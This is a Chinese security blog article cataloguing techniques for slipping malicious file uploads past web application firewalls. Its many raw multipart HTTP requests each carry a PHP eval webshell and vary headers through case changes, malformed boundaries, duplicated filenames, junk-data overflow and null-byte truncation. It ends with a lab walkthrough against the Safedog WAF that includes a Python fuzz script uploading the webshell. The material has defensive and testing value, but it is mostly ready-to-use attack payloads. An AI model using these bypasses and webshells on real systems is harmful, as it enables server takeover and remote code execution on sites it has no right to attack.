干货 | 最全的文件上传漏洞之WAF拦截绕过总结

HACK学习

发布于 2022-02-17 14:58:38

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发布于 2022-02-17 14:58:38

文章被收录于专栏：HACK学习HACK学习

HTTP文件上传数据包解析

文件上传实质上还是客户端的POST请求，消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data才能正常上传文件。

一个正常的文件上传数据包大致如下：

POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--

从中获取特征为：

•请求Header中Content-Type存在以下特征：•multipart/form-data：表示该请求是一个文件上传请求•存在boundary字符串：作用为分隔符，以区分POST数据•POST的内容存在以下特征：•Content-Disposition：响应标头是指示内容是否预期在浏览器中内联显示的标题。•name：包含该字段的内容引用的 HTML 字段的名称。•filename：后面是一个包含传输文件的原始名称的字符串。•POST中的boundary的值就是Content-Type的值在最前面加了两个--，除了最后标识结束的boundary•最后标识结束的boundary最后默认会多出两个--（测试时，最后一行的boundary删掉也能成功上传）

文件上传在数据包中可修改的地方

•Content-Disposition：一般可更改•name：表单参数值，不能更改•filename：文件名，可以更改•Content-Type：文件 MIME，视情况更改•boundary：内容划分，可以更改

WAF如何拦截恶意文件

可以先自己想象一下，如果让你来写WAF，你会从哪几个角度去防御。

•文件名•解析文件名，判断是否在黑名单内。•文件内容•解析文件内容，判断是否为webshell。•文件目录权限•该功能需要主机WAF实现。

目前，市面上常见的是解析文件名，少数WAF是解析文件内容，比如长亭。下面内容，都是基于文件名解析。

大致步骤如下：

1.获取Request Header里的Content-Type值中获取boundary值2.根据第一步的boundary值，解析POST数据，获取文件名3.判断文件名是否在拦截黑名单内/白名单外

了解了WAF如何对恶意文件进行拦截之后，我将常见的绕过方法分为如下几类，最后再使用目前最新版的安全狗进行绕过演示。

字符变异

引号变换

头部字段的值既可以添加单引号也可以添加双引号还可以不加引号，都不会影响上传结果。

Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'

可以去除掉filename字符串中末尾的引号，也能够正常上传

Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;

大小写变换

对这三个固定的字符串进行大小写转换

•Content-Disposition•name•filename

比如name转换成Name，Content-Disposition转换成content-disposition。

添加换行符

字段值与等号之间可以加入换行符，依然可以正常上传，下面我使用[0x09]代替换行符

Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];

多个分号

文件解析时，可能因为分号解析不到文件名，导致绕过。

Content-Disposition: form-data; name="file_x";;; filename="test.php"

多个等号

在POST的内容中使用多个等号对文件上传也没有影响。

Content-Disposition: form-data; name=="file_x"; filename===="test.php"

变换Content-Disposition的值

某些WAF在解析的时候，认为Content-Disposition值一定是form-data，造成绕过。其实Content-Disposition可以任意变换或为空。

Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo    r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"

畸形的boundary头部

boundary可以变化为如下形式，且不影响上传：

正常的boundary：

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111

畸形的boundary：

•multipart/form-data大小写可变：

Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111

•multipart/form-data与boundary之间可以使用空格分隔，且中间可以插入任何值：

Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111

•multipart/form-data与boundary之间可以使用逗号分隔，且中间可以插入任何值：

Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111

•boundary之前可以直接加入任何值（PHP可行）：

Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111

•boundary末尾可以使用逗号或分号隔开插入任何值

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc

顺序颠倒

交换name和filename的顺序

因为规定了Content-Disposition必须在最前面，所以只能交换name和filename的顺序。

有的WAF可能会匹配name在前面，filename在后面，可以导致绕过。

Content-Disposition: form-data; filename="xx.php"; name="file_x"

交换Content-Disposition和Content-Type的顺序

与上述一样，Content-Disposition和Content-Type也是能够交换顺序的。

Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"

交换不同boundary内容的顺序

不同boundary内容也能够交换，且不影响文件上传

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

数据重复

boundary内容重复

最后上传的文件是shell.php而非shell.jpg，但是如果取的文件名时只取了第一个就会被Bypass。

------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

下面这样也是可以正常上传的

------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

filename重复

最终上传成功的文件名是shell.php。但是由于解析文件名时，会解析到第一个。正则默认都会匹配到第一个。

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

数据溢出

name与filename之间插入垃圾数据

name与filename之间插入大量垃圾数据。

POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; 
filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

注：需在大量垃圾数据后加“;”

boundary字符串中加入垃圾数据

boundray字符串的值可以为任何数据（有一定的长度限制），当长度达到WAF无法处理时，而Web服务器又能够处理，那么就可以绕过WAF上传文件。

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--

boundray末尾插入垃圾数据

刚才讲到过boundary末尾可以插入任何数据，那么就可以在boundary字符串末尾加入大量垃圾数据。

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

multipart/form-data与boundary之间插入垃圾数据

刚才讲到过multipart/form-data与boundary之间可以插入任何数据，那么就可以在multipart/form-data与boundary之间加入大量垃圾数据。

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

数据截断

回车换行截断

POST请求头的值（不是请求头）是可以换行的，但是中间不得有空行。若WAF匹配文件名到换行截止，则可以绕过。

Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"

分号截断

若WAF匹配文件名到分号截止，则可以绕过。

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"

引号截断

php<5.3 单双引号截断特性。

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

00截断

在url中%00表示ascll码中的0 ，而ascii中0作为特殊字符保留，所以当url中出现%00时就会认为读取已结束。这里使用[0x00]代替16进制的00字符

Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"

实战-绕过安全狗文件上传

实验环境

靶场：Upload-Labs（Pass-1）

数据库：MySQL 5.5

Web脚本：PHP 5.4.19

WAF：网站安全狗（Apache版）v4.0.3025

在测试时，网站安全狗仅开启上传防护，否则会因为误报删除靶场文件。

image-20220122153541822

实战一 - 编写Fuzz脚本利用数据溢出绕过

由于boundary字符串中可以加入大量垃圾数据，这里就编写了一个Fuzz脚本进行测试能否绕过：

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
import random

url="http://hackrock.com:813/Pass-01/index.php"

def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

for i in range(10,8000,50):
    stri = generate_random_str(i)
    try:

        headers = {
            "Host":"hackrock.com:813",
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
            "Referer":"http://hackrock.com:813/Pass-01/index.php",
            "Content-Type":"multipart/form-data; boundary=----" + stri
        }
        payload = """
            ------""" + stri +"""
            Content-Disposition: form-data; name="upload_file"; filename="shell.php"
            Content-Type: image/png

            <?php @eval($_POST['hack']); ?>

            ------""" + stri + """
            Content-Disposition: form-data; name="submit"

            上传
            ------""" + stri + """--

        """

        response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
        result = response.content
        print result
        print stri
        print "\n"
        #print payload
        #print headers
        if result.count('上传'):
            print "Length is : %s " % str(i)
            break
    except:
        print "."

这里使用的是python2.7进行编写，运行时确保装有python2的环境以及python库。

最后测出的结果如下，长度为3710个字符：

image-20220122154848589

虽然并没有帮我们上传上去，但是可以成功绕过安全狗拦截。

我们将构造好的数据包放进Burp试试：

image-20220122155843047

成功绕过。

实战二 - 利用00截断绕过

上传文件，使用Burp抓包，将filename的值改为：shell.php;.jpg

image-20220122160953684

然后打开hex,（分号的16进制为0x3b）修改16进制内容，把3b改成00：

image-20220122161153160

发送数据。

image-20220122161340032

成功绕过。

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